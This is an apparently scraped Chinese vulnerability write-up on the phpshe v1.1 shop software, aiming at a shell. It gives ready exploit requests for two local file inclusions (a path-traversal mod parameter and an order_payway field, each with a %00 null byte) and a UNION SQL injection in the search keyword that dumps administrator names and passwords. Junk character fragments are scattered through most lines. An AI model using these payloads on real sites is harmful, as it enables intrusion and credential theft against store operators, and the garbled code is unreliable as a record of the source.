phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
. v1 z! l5 I: i% U! D/* ========================
9 `8 @* @6 j$ x$ m: v/* By: : Kn1f3
/* E-Mail : 681796@qq.com
$ X  C0 A, K) T- H/ f5 o/*******************************************************/
, \! D; B0 v: }4 D" j0×00 整体大概参数传输
6 I; {, X2 i( K& k; @  N  {


2 C0 J4 M, o! d% s" I6 i//common.php
  L& _/ {( @! a2 z6 s& I2 m% B6 Cif (get_magic_quotes_gpc()) {
9 d6 Z9 ]# @, e/ @( X!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
2 j: R5 m  a1 }1 Y9 j: A!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
" a, b0 f" ^  s9 Y9 x" e5 O6 I}
9 m' \! @3 J) J" lelse {
! |! h) c3 f% `3 b/ l. Q" W!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
& U. O9 Y  p6 v" p!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
6 v, E& O1 u; @2 D0 ^1 ^!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
; {( w) R5 Z8 B, l# j!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
: z8 F9 R  u5 _* H8 w8 }; {
8 T1 ^( D& q; c$ X0×01 包含漏洞

& ?3 [; w0 n' F# U- M0 f, n8 h# ~
5 M% {- O) v! F; w% |//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
url路由配置
. g  h2 a& a7 \$ u$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
& n1 Q5 A! A7 Y* E$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

$ j0 L* Z6 G& x- |/ R( k, e9 C4 r( F; }& T
0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
1 w: w& w: l) ]. U9 }; s0 C' t0 c$category_id = intval($id);
9 R7 @$ Y& S! r+ f# K$info = $db->pe_select('category', array('category_id'=>$category_id));
! m6 r4 o! R' ^' G3 c0 l; v' i' s0 R//搜索
1 a' G: d+ {( f% p$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
' Y$ s) d8 Q+ i1 y- U! |5 Mwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
8 T5 [3 u0 B; x+ P$ @$ L}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
  O4 Z7 w  A* ^. `2 T}
) Z' B7 h/ h6 L4 A1 Velse {
$sqlwhere .= " order by `product_id` desc";
' k- u# R' B5 ~2 N# l! _; @}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
$ G( @1 b8 h2 }& t9 S- V6 w+ a4 J* C//当前路径
7 d& @8 Y7 E; A, \* o  x; C$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
  S. y  K. J0 p- L" r; {public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
  `. K7 A: ~) ]# G7 p+ X: D//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
: w( J! Q1 O0 e: V: Z0 ?+ h}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
$ _( a/ V2 M" M4 e- Z( v3 s

</code>
# x6 T' K. u' G0 l
2 d9 I7 m2 l# Q) [, {! v0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

/ P' ?# t* K. R. N, Z' M$ V$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

# Q3 E2 e; L* G  y}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

( |, z+ Y2 c  i- A: [. C  b& f! V!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

! n, d& E+ G5 o' Y: |2 xif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

% E' v9 F8 p* U" n. e( g6 l$ H) G$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

2 t5 M- g5 ?1 a1 }( M# @$order['order_name'] .= "{$v['product_name']};";
% V% g; w$ @- F+ G

}

9 u0 y- Z9 `& j# p4 H5 m1 k. Wecho '正在为您连接支付网站，请稍后...';

0 g& O$ f, u3 Z$ jinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

, m) M' |; ^  Z  s/ J. q# Z}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

- Z, e" ?# ?6 x8 I1 Y7 T( C* G! lpe_error('支付错误...');

' P9 \5 l. A/ s) U) I* [}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

6 H; y, l! j4 Q5 U$ _break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
( t  X. e3 }2 Mhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg